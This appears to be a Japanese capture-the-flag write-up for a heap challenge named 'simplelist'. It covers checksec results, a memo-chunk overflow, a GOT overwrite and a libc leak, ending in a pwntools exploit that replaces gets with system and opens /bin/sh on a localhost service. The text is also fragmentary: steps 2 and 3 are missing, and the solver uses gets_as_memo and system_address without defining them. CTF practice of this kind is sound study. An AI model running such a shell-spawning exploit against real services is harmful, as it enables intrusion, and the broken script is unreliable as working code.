simplelist

t6o_o6t.icon

code:file

checksec

code:checksec

Canary : ✓

NX : ✓

PIE : ✘

Fortify : ✘

RelRO : ✘

PIEではないので、正規の命令のアドレスは固定

RelROは設定されていないので、GOT Overwriteが可能

今回の条件では、ヒープの各Allocated Chunkは空間的に連続している可能性がある。ゆえに、あるMemoへの入力でオーバーフローを起こせば、それ以降のMemoの値にも影響を与えることができそうだ

ゴールはどこにある？

フラグを表示するような関数はコードに含まれていない。

system() のような関数の呼び出しはないので、GOT Overwriteの効果を得ることは難しい（？）

これは誤りである。system関数そのものは、libcのロード時にメモリに読み込まれている。

libcのベースアドレスのリーク

これにより、解決済のアドレスが表示される。

これにより得たアドレスから、libc.so.6におけるその関数のアドレスを引き去ることで、libcのベースアドレスを計算することができる。

手順

1. Memoを2個作成する

GOTエントリのアドレスそのものではなく、そこから8引いたアドレスに書き換えることが重要。

4. 所望の関数を何らかの方法で呼び出す

GOT overwriteによるシェルの奪取

code:solver.py

from pwn import *

p = remote("localhost", 9003)

e = ELF("./chall")

context.binary = e

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Create two new memo

for _ in range(2):

p.recvuntil(b"> ")

p.sendline(b"1")

p.recvuntil(b"Content: ")

p.sendline(b"")

# Overwrite next address of second memo

p.recvuntil(b"> ")

p.sendline(b"2")

p.recvuntil(b"index: ")

p.sendline(b"0")

p.recvuntil(b"New content: ")

fake_3rd_memo = flat(b"A" * (0xd0 - 0xa8), p64(gets_as_memo))

p.sendline(fake_3rd_memo)

# Embed string "/bin/sh" to memory

def edit(index, content):

p.recvuntil(b"> ")

p.sendline(b"2")

p.recvuntil(b"index: ")

p.sendline(str(index).encode())

p.recvuntil(b"New content: ")

p.sendline(content)

edit(0, b"/bin/sh")

# Leak gets got address

p.recvuntil(b"> ")

p.sendline(b"2")

p.recvuntil(b"index: ")

p.sendline(b"2")

p.recvuntil(b"Old content: ")

gets_address_bytes = p.recvline().rstrip() + b"\x00\x00"

print(gets_address_bytes)

gets_address = u64(gets_address_bytes)

print(hex(gets_address))

print(hex(system_address))

p.recvuntil(b"New content: ")

p.sendline(p64(system_address))

# Call system("/bin/sh")

p.recvuntil(b"> ")

p.sendline(b"2")

p.recvuntil(b"index:")

p.sendline(b"0")

p.interactive()

感想

かなり時間がかかった。

原因は分かっていない..

手を動かさなければ、このことに気づくことはできなかったと思う。

また、u64に渡すbytesは、正確に8バイトでなければならない。